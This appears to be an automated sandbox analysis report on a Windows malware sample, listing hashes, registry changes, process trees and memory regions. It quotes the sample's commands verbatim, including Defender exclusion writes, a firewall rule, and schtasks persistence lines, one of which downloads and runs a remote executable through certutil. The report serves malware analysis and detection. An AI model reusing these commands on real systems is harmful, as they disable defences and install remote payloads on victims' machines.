Analysis
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max time kernel
120s -
max time network
137s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
09-11-2020 19:56
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Mal.Generic-S.28521.32303.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Mal.Generic-S.28521.32303.exe
Resource
win10v20201028
General
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Target
SecuriteInfo.com.Mal.Generic-S.28521.32303.exe
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Size
3.8MB
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MD5
626680e0187234312a7e54b6c98330b8
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SHA1
aaa92acb80f2fa4c73f4c5c27c501386dd868f53
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SHA256
ed65d62376f71cd4ee0dfd8f1f9b43787de42dd85da310ab8b4e90abef7681a0
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SHA512
f0e90e12ffe3fd508d2f35c04abfe2cd5f3e4e3ebaedd85fffd6719ab616adaf7ff1b28370efbdeacf8f4c4fbb0a1628e36c4c7565d758b02164904d19350fd8
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 1116 csrss.exe 1708 patch.exe -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 8 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.28521.32303.exepatch.exepid process 1524 SecuriteInfo.com.Mal.Generic-S.28521.32303.exe 1524 SecuriteInfo.com.Mal.Generic-S.28521.32303.exe 856 1708 patch.exe 1708 patch.exe 1708 patch.exe 1708 patch.exe 1708 patch.exe -
Processes:
SecuriteInfo.com.Mal.Generic-S.28521.32303.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\cc32a828c4ee\cc32a828c4ee = "0" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ShyThunder = "0" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cc32a828c4ee.exe = "0" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.Mal.Generic-S.28521.32303.exe = "0" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.28521.32303.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\ShyThunder = "\"C:\\Windows\\rss\\csrss.exe\"" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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JavaScript code in executable 3 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js -
Modifies service 2 TTPs 5 IoCs
Processes:
netsh.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe -
Drops file in Windows directory 2 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.28521.32303.exedescription ioc process File opened for modification C:\Windows\rss SecuriteInfo.com.Mal.Generic-S.28521.32303.exe File created C:\Windows\rss\csrss.exe SecuriteInfo.com.Mal.Generic-S.28521.32303.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1504 schtasks.exe 1600 schtasks.exe -
Modifies data under HKEY_USERS 237 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.28521.32303.execsrss.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" SecuriteInfo.com.Mal.Generic-S.28521.32303.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.28521.32303.exeSecuriteInfo.com.Mal.Generic-S.28521.32303.exepid process 1732 SecuriteInfo.com.Mal.Generic-S.28521.32303.exe 1524 SecuriteInfo.com.Mal.Generic-S.28521.32303.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.28521.32303.execsrss.exedescription pid process Token: SeDebugPrivilege 1732 SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Token: SeImpersonatePrivilege 1732 SecuriteInfo.com.Mal.Generic-S.28521.32303.exe Token: SeSystemEnvironmentPrivilege 1116 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.28521.32303.execmd.exedescription pid process target process PID 1524 wrote to memory of 1060 1524 SecuriteInfo.com.Mal.Generic-S.28521.32303.exe cmd.exe PID 1524 wrote to memory of 1060 1524 SecuriteInfo.com.Mal.Generic-S.28521.32303.exe cmd.exe PID 1524 wrote to memory of 1060 1524 SecuriteInfo.com.Mal.Generic-S.28521.32303.exe cmd.exe PID 1524 wrote to memory of 1060 1524 SecuriteInfo.com.Mal.Generic-S.28521.32303.exe cmd.exe PID 1060 wrote to memory of 1156 1060 cmd.exe netsh.exe PID 1060 wrote to memory of 1156 1060 cmd.exe netsh.exe PID 1060 wrote to memory of 1156 1060 cmd.exe netsh.exe PID 1524 wrote to memory of 1116 1524 SecuriteInfo.com.Mal.Generic-S.28521.32303.exe csrss.exe PID 1524 wrote to memory of 1116 1524 SecuriteInfo.com.Mal.Generic-S.28521.32303.exe csrss.exe PID 1524 wrote to memory of 1116 1524 SecuriteInfo.com.Mal.Generic-S.28521.32303.exe csrss.exe PID 1524 wrote to memory of 1116 1524 SecuriteInfo.com.Mal.Generic-S.28521.32303.exe csrss.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.28521.32303.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.28521.32303.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.28521.32303.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.28521.32303.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies service
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeMD5
626680e0187234312a7e54b6c98330b8
SHA1aaa92acb80f2fa4c73f4c5c27c501386dd868f53
SHA256ed65d62376f71cd4ee0dfd8f1f9b43787de42dd85da310ab8b4e90abef7681a0
SHA512f0e90e12ffe3fd508d2f35c04abfe2cd5f3e4e3ebaedd85fffd6719ab616adaf7ff1b28370efbdeacf8f4c4fbb0a1628e36c4c7565d758b02164904d19350fd8
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeMD5
626680e0187234312a7e54b6c98330b8
SHA1aaa92acb80f2fa4c73f4c5c27c501386dd868f53
SHA256ed65d62376f71cd4ee0dfd8f1f9b43787de42dd85da310ab8b4e90abef7681a0
SHA512f0e90e12ffe3fd508d2f35c04abfe2cd5f3e4e3ebaedd85fffd6719ab616adaf7ff1b28370efbdeacf8f4c4fbb0a1628e36c4c7565d758b02164904d19350fd8
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\Windows\rss\csrss.exeMD5
626680e0187234312a7e54b6c98330b8
SHA1aaa92acb80f2fa4c73f4c5c27c501386dd868f53
SHA256ed65d62376f71cd4ee0dfd8f1f9b43787de42dd85da310ab8b4e90abef7681a0
SHA512f0e90e12ffe3fd508d2f35c04abfe2cd5f3e4e3ebaedd85fffd6719ab616adaf7ff1b28370efbdeacf8f4c4fbb0a1628e36c4c7565d758b02164904d19350fd8
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memory/240-32-0x000007FEF6400000-0x000007FEF667A000-memory.dmpFilesize
2.5MB
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memory/1060-16-0x0000000000000000-mapping.dmp
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memory/1116-20-0x0000000000000000-mapping.dmp
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memory/1116-23-0x00000000037A0000-0x00000000037B1000-memory.dmpFilesize
68KB
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memory/1116-22-0x00000000033F0000-0x0000000003796000-memory.dmpFilesize
3.6MB
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memory/1156-17-0x0000000000000000-mapping.dmp
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memory/1524-10-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/1524-9-0x0000000003890000-0x00000000038A1000-memory.dmpFilesize
68KB
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memory/1524-8-0x00000000034E0000-0x0000000003886000-memory.dmpFilesize
3.6MB
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memory/1732-0-0x00000000035F0000-0x0000000003996000-memory.dmpFilesize
3.6MB
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memory/1732-2-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/1732-1-0x00000000039A0000-0x00000000039B1000-memory.dmpFilesize
68KB